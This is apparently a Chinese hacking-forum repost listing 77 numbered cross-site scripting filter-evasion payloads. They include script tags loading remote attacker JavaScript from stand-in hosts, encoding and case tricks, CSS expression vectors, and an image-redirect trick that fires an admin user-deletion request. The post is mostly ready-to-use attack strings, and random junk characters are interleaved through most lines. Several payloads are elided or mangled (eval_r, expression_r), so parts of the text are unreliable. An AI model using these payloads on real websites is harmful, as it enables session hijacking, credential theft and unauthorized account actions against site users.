貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。: p& b1 X, O! A5 H
4 A, i: k* v8 D9 J3 b$ m (1)普通的XSS JavaScript注入, t6 V& X4 _" u
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- h( E6 Z. n% L6 I; N) y8 O0 B: p# Q* P$ ~
(2)IMG标签XSS使用JavaScript命令
; o- R4 q' S6 C( D# Y <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>: U8 w' x. F0 C
, S9 s8 [* h, C7 l$ d+ q4 v6 |- I. @$ g (3)IMG标签无分号无引号
: `" Y- |; i/ K% X) p% p <IMG SRC=javascript:alert(‘XSS’)>( f4 N; s; P2 {
5 _ J( ^" D/ R' W9 J (4)IMG标签大小写不敏感5 q# e ^ b! E" s/ {6 F" A' G
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
: Y% F0 ^% W8 a" C5 Q& z$ x% h! M; z, e- t j( ]6 i
(5)HTML编码(必须有分号)# [0 W# o4 h6 w/ b9 g: b h
<IMG SRC=javascript:alert(“XSS”)>; a$ M4 ^3 u/ H1 U
3 X0 J7 g( X+ E3 f8 g- [& _* i (6)修正缺陷IMG标签 o- m# L+ {& b% ~4 }7 P" M
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
S9 u( F9 D) Q$ `8 }" E8 e4 Q$ p5 C, l
(7)formCharCode标签(计算器)
* X' y x' Z- I3 Z- B/ w <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
3 v, E. {- t+ X' j4 i: t* V. Z3 m" }5 g1 t; N
(8)UTF-8的Unicode编码(计算器)- R1 q2 R( G& N" h
<IMG SRC=jav..省略..S')>
. `* [# s- p8 f/ G4 @
( T6 v8 R% x+ K (9)7位的UTF-8的Unicode编码是没有分号的(计算器)8 J- {6 V" W7 R- C \
<IMG SRC=jav..省略..S')>
, U, y: n; i$ a) f3 [! ?' ^! D& [
+ @% O, W$ ~6 g) D! j (10)十六进制编码也是没有分号(计算器)
4 Y l& [7 @+ ^3 ] <IMG SRC=java..省略..XSS')>
! z8 i- L1 w, C7 L& b. g* s4 S& n( \
& [+ c% `9 W1 I, H5 E (11)嵌入式标签,将Javascript分开
# m2 C5 k8 |; H9 }5 Y <IMG SRC=”jav ascript:alert(‘XSS’);”>
* o4 b4 h5 ]/ A; s# N
|- X/ ^. | t, I8 R4 p, ?# p9 r% I (12)嵌入式编码标签,将Javascript分开( @4 J! d2 n5 {. h4 ?/ \0 q9 L
<IMG SRC=”jav ascript:alert(‘XSS’);”>! a) q, o9 @" s6 |; y2 ]
# J& Q4 V) @9 w( V (13)嵌入式换行符9 }, G+ M8 _& u: S- ^7 h% [9 p/ b
<IMG SRC=”jav ascript:alert(‘XSS’);”>
( F$ j- I# R& q) b. I6 r E2 h6 ?: _+ g4 |7 w
(14)嵌入式回车* j# N7 N. Y3 a( W- f7 F3 k
<IMG SRC=”jav ascript:alert(‘XSS’);”>: Q S9 t E. L, G9 Q* j6 D" `
1 ~9 M ?: @# S) f- \- m0 D `( b& k (15)嵌入式多行注入JavaScript,这是XSS极端的例子
S8 J! _$ F$ K( ^- E <IMG SRC=”javascript:alert(‘XSS‘)”>% ?3 Y4 B. o4 X% i0 y1 ]
9 i4 p k% f/ r, `9 F (16)解决限制字符(要求同页面)
' V2 w& @( ^5 @" k0 _ <script>z=’document.’</script>- x% ~* K# {/ o3 D
<script>z=z+’write(“‘</script>- M9 Z0 [ x$ w5 Q) r2 ^3 J
<script>z=z+’<script’</script>
4 f& ?; u6 r* u- R <script>z=z+’ src=ht’</script>
+ B) S! R( W! i0 A <script>z=z+’tp://ww’</script>5 G' {" w3 n. D7 y. X" q. {
<script>z=z+’w.shell’</script>$ }6 i# j" n) O( i2 F* \
<script>z=z+’.net/1.’</script>
% ]# Y4 _0 v( R3 ?$ S6 b5 x <script>z=z+’js></sc’</script>& S, r! T+ M7 h# t- d
<script>z=z+’ript>”)’</script>6 L0 t) t2 ?) d( d8 a
<script>eval_r(z)</script>
( V) a* V# o" J2 ~$ v4 ~9 G# G w
/ L( l0 U. l* a8 o) @; c) l+ @# P (17)空字符
" k4 y7 q5 _- p2 k; U perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out* x( S. Z8 a( f$ e- T+ G
5 v6 \ i/ y) g8 z' A' z' q (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
! S/ Z9 X* t# A3 e; p) q perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
* w9 R4 z/ f/ \/ D4 E/ y! s% D* n O% T" Q' Z& G3 |/ s# L
(19)Spaces和meta前的IMG标签
- T" r) H; S7 G( P! F5 G! e <IMG SRC=” javascript:alert(‘XSS’);”>
0 n8 M9 @* f9 \* \5 i' U/ c# l5 F4 N1 [5 x5 e
(20)Non-alpha-non-digit XSS- i$ H& K6 [ _9 v% ]
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
7 U. l6 ]& w) {/ x0 b
3 I. j, ~7 l, A! i$ |. u5 V0 O (21)Non-alpha-non-digit XSS to 2" s2 u* k- [5 d. L! |6 H0 e
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>" x3 X2 D& c; c1 j; ?% H! N4 H
, m# O7 t' f8 |7 L X3 ^- ]
(22)Non-alpha-non-digit XSS to 3
1 r5 X8 Y6 R' ~& J; P <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>0 G( e4 f5 i% ]1 s
( s j: E0 F7 K1 ^0 J* l) l (23)双开括号2 E0 O) L8 l F3 g( N, d8 h
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
( y: D- e! P& p2 G5 f: c3 D
+ I! Y, m" t6 g4 v (24)无结束脚本标记(仅火狐等浏览器)
! M0 z, m4 ~$ |5 E% k/ } <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
4 y( ]5 ]1 r$ u/ z3 |9 E" p% b) q4 H
(25)无结束脚本标记2
7 u$ q- Q+ X; P9 ^* s! } <SCRIPT SRC=//3w.org/XSS/xss.js>1 |: a4 w7 ^# F0 t7 n
9 \0 q& l9 K" c9 t% F# ~1 ` (26)半开的HTML/JavaScript XSS* v( n7 r; q" x; a# Q b
<IMG SRC=”javascript:alert(‘XSS’)”
& ? b! K- [' B0 {( v6 e) g9 }8 V. K$ T p! {% w. `; M
(27)双开角括号
$ Q# Q* F! y% M4 i# j ~; _ <iframe src=http://3w.org/XSS.html <
0 Z5 e" b0 |( u6 C
0 _; d( s7 O! p( o( U (28)无单引号 双引号 分号/ I% ^0 p a% h) [1 S
<SCRIPT>a=/XSS/$ Z; L- G m" z- _ o
alert(a.source)</SCRIPT>8 o4 o/ M. [4 @0 L' t1 q; I4 N$ x
. D7 A% t X0 v( S* q! W: h3 _ (29)换码过滤的JavaScript
. [% k+ G4 |, R2 x T& G$ ` \”;alert(‘XSS’);//
# f% E# C$ d5 W
+ G0 d, Q. Q g+ l (30)结束Title标签
K- ^7 T4 Q. A& D6 a </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>. @0 Q( k6 q" i' V0 L. N
: z7 Y0 P0 S; m0 F/ N6 B& }
(31)Input Image; H/ \" n4 {: {+ c8 b" _
<INPUT SRC=”javascript:alert(‘XSS’);”>
; H' E# E" o! T9 Z6 q" c9 L9 e. y% c( `- L
(32)BODY Image
0 _! W* A5 f4 Q) [7 O! H* j <BODY BACKGROUND=”javascript:alert(‘XSS’)”>5 ^8 E* Z. t9 t# [
3 o% t$ m; a5 V6 I (33)BODY标签7 A$ A) s" `: R: @7 d/ O0 b* ?
<BODY(‘XSS’)>
$ F4 p8 V) R" ]9 T1 A+ {- @6 q5 B2 u! H6 P: W* q; e
(34)IMG Dynsrc/ F1 l ]2 V6 w1 ?8 l1 Q
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
" W: F6 x7 |' _/ `5 g6 h) u
% y( W: ]0 E7 M! M0 s. i6 \ (35)IMG Lowsrc
$ k$ ?$ N1 {% F- F$ ~5 b <IMG LOWSRC=”javascript:alert(‘XSS’)”>/ U* f1 n4 F. d& y! v7 u! Z8 K
, r; B; A& v( G
(36)BGSOUND
! v- ~9 L# n$ W# f' I- Z3 ` <BGSOUND SRC=”javascript:alert(‘XSS’);”>4 {: O1 Q( \5 n: [/ C
4 j$ g9 W4 o3 M V+ E/ I3 }( R
(37)STYLE sheet
9 p8 }; x9 I9 f" k5 X <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
: H( [) Y2 m, A4 i" }% n6 ^6 b. H
) e% W: W& t7 Y* T6 P1 V5 Y (38)远程样式表/ C5 b% @' C' u/ E" F h
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
/ H: d" P# |) t
7 F( I; x3 C5 V) Y, C" f4 N( w (39)List-style-image(列表式)
( Z: N! }0 f- z! w <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
* b! {, c. v' O9 a# A3 F' K5 K! G# j" `, o8 ?' e* |$ |* O6 B
(40)IMG VBscript
+ Q% m; W- ~6 x <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS, n2 j1 q7 s$ ?' Z6 G0 g
( o0 }5 e. y# Z& b
(41)META链接url# P x9 @' B4 r/ n. C
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”> \% [( |6 B' |( o
) P C6 y- p. @' {; P
(42)Iframe" o1 d/ f' e# p: x5 N1 p0 D" P8 R
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
: J( I$ _$ r6 ]. L- w8 m7 J% i! t8 ~8 F% @
(43)Frame' R) L' }1 t- h7 G5 ~ X2 h( R8 A$ S
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>* F; @$ B- Z1 Q1 e/ u1 h
~& u8 I, h' o S! I6 z, S* E! ?! C
(44)Table
: n. X) c, K% |' @+ i! R5 c <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
8 H" r/ S5 n, |7 n7 |4 |& d) T7 |) H6 i
(45)TD
! Q3 P: _1 l/ R3 V4 @; K <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
0 _8 a+ y% M8 S0 V+ S% }$ R
8 z$ d6 x2 l7 m9 J4 u) C$ b r (46)DIV background-image/ Y v% j* p" [8 H
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>0 m4 z. v: I0 U6 H, M1 \
. I2 N2 m& N% X2 r4 U (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
4 _+ X: d& ]2 U8 U; m <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>0 e, l& Q. U" C# n" |
8 D3 {6 d! f- x- m
(48)DIV expression" r0 u6 x% b) b2 z: |
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
; U8 T' u4 r3 b: ]9 m6 G* D' R
: X% }; K7 Q& M2 E2 C (49)STYLE属性分拆表达
! r' n, Z) k( R( d7 } <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>, s2 c2 _, a& Q+ j7 q
8 H; o7 I+ Q3 J0 r. B9 V5 z8 ~% x
(50)匿名STYLE(组成:开角号和一个字母开头)
4 G4 D9 T1 ]# }2 e$ b* M9 m <XSS STYLE=”xss:expression_r(alert(‘XSS’))”> ?* ?$ z6 A, r7 J
* Z2 j9 O0 C; _ (51)STYLE background-image. `- B1 J( G6 d$ ^0 n5 q
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>4 P& K, ]" B9 P8 ?5 y
+ ]$ R/ @4 G6 y (52)IMG STYLE方式
. `$ h( S/ ^. l exppression(alert(“XSS”))’>
5 u4 {- J+ C2 @5 c& K. l" T! a* v& f5 j$ J6 H9 |4 q
(53)STYLE background& {2 L- t$ Y4 F1 l. D' G, q, N
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>. f# V" H3 f7 F8 K2 U0 k+ j6 t
- r2 W" Y. k3 E# K: y' q4 v
(54)BASE5 [8 O1 W3 U' D7 L8 r2 V& R3 p
<BASE HREF=”javascript:alert(‘XSS’);//”>
1 l! X+ l3 B7 d) A. `4 J5 U, z' e% }+ q* q
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
8 M% V" U& n; p! E; k5 a8 h+ R <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>2 B+ E7 B" q. e- e8 v' C: a v
# N9 o% ?6 v# f# { (56)在flash中使用ActionScrpt可以混进你XSS的代码
: B- i; t4 k2 m6 o# C6 v. G! c a=”get”;+ n0 D5 Y2 p+ r" u2 k) a) q) `
b=”URL(\”";9 _% y" S5 O/ o
c=”javascript:”;
; N9 n' K! H; U7 F. n d=”alert(‘XSS’);\”)”;
$ l {6 `3 E6 \. w9 F eval_r(a+b+c+d);0 T/ U7 f; u3 n- G- `6 h. g
2 ^$ m+ { x* H+ I' b( ^5 } (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上' V1 e4 ^ p" { ?, E/ _: }
<HTML xmlns:xss>6 d I4 W) y4 N$ K. G! T
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>4 y7 m6 }! `3 I/ z
<xss:xss>XSS</xss:xss>1 n0 S! |/ d& w) f- ~
</HTML>
! z+ J" H- P: M: [- x. Y: c% R- L0 a, t9 N3 s
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用) l& V3 E( W; n& v
<SCRIPT SRC=””></SCRIPT>
" D* Y: B X; l1 ~& ~; O; v+ }% E R! ]6 b- n3 z) L0 S
(59)IMG嵌入式命令,可执行任意命令
/ E/ y" V' c4 O- ?( M: S2 m <IMG SRC=”http://www.XXX.com/a.php?a=b”>' Q3 M, }4 f+ X9 q" p: F
: z" O) w& E7 u! N2 Z) s8 U
(60)IMG嵌入式命令(a.jpg在同服务器)
+ u& @" ^; ]4 R& e [0 V# l9 e Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
9 c4 P# W1 [7 f- k$ E P* K
$ h+ y& G" q. L& N n5 l1 j (61)绕符号过滤
' l8 ?# @2 F. D/ Q* d <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
# q; w3 |8 b9 E8 n+ s' x/ h) v5 V+ k1 Y. G
(62)
- |! }/ M, s: x& D @ <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>1 H! W- j e. C! W. M! ^- _
5 o: B8 X& Q9 d (63)
3 y( f/ W0 z( l/ M Y% e: | <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>; v8 K% w3 ~7 L3 [( ]) p* Y
# u: H% h6 g/ l6 y (64)" \% ~" [7 n/ u+ y
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT># O: z% C; p0 |1 p" e' W
" _- A8 ?+ T: ]+ V- k6 \" h5 b8 T (65)
+ U5 f( p% i B: `& p% n <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
j3 c) y8 x0 ^. F1 c i
, {3 t6 ^/ U( c4 e+ |; X' B, a (66). A$ t9 Z4 r) b9 t
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
0 n0 W! ~" L8 k/ _) t
) w) X8 L. F) w$ U: c. @9 W0 c1 f (67)1 Z% r6 k4 b6 R! ?/ A8 x
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
& p' \# v3 P/ j3 g' r/ _
2 E5 t3 O3 A* Q& W+ V (68)URL绕行0 d/ T: O' X% S3 i
<A HREF=”http://127.0.0.1/”>XSS</A>8 R5 i6 q; M' h8 [, E
' ^, }( t' Z2 V7 s: @
(69)URL编码: a( V: P0 X' t# Q; \8 y F
<A HREF=”http://3w.org”>XSS</A>( {/ R8 W, R5 v
/ U% B# E; t: u7 Q
(70)IP十进制 `8 s( [% M7 u) q( c7 W
<A HREF=”http://3232235521″>XSS</A>/ _( m+ K- g9 o. i. W' @% g$ r9 E
; M& u# O' S3 e+ t% Y$ k b
(71)IP十六进制
; `+ R0 u' y9 q" z <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
8 J+ ~* h6 N$ Z# L8 a; X
% g; U+ u# k/ E) S (72)IP八进制& h) Q; v5 q0 [5 R% w9 _! W
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
7 t3 H2 ~. l! Q0 y, l p
; K' B# X5 v, i (73)混合编码
9 x! i0 d7 ]0 z* a3 y5 R; L <A HREF=”h/ l0 c' J4 t3 ~' g$ Y7 m4 h
tt p://6 6.000146.0×7.147/”">XSS</A>7 s& s0 S( B. G0 @0 `6 r; L
, D' w( k3 c2 {/ K4 x1 _0 Y% V
(74)节省[http:]) p* j+ D2 Y7 x7 I9 v: @6 A
<A HREF=”//www.google.com/”>XSS</A>
0 O& l3 t2 O* Y x- k, T! I$ |7 p
(75)节省[www]
8 Y8 o& x2 s: n3 p <A HREF=”http://google.com/”>XSS</A>
s, e2 D2 U& [& H* p7 u0 Z( _4 U- y. M: k: D. e
(76)绝对点绝对DNS
% g2 ]5 E+ A- y% V. }1 ]7 m0 [ <A HREF=”http://www.google.com./”>XSS</A>2 v1 ^0 ]6 {8 ?: v' x' w6 h, q& }
S6 S3 ?( A4 Z @2 M4 k$ W& Z (77)javascript链接
( `+ E# V7 X+ ]" X4 A. H1 z <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |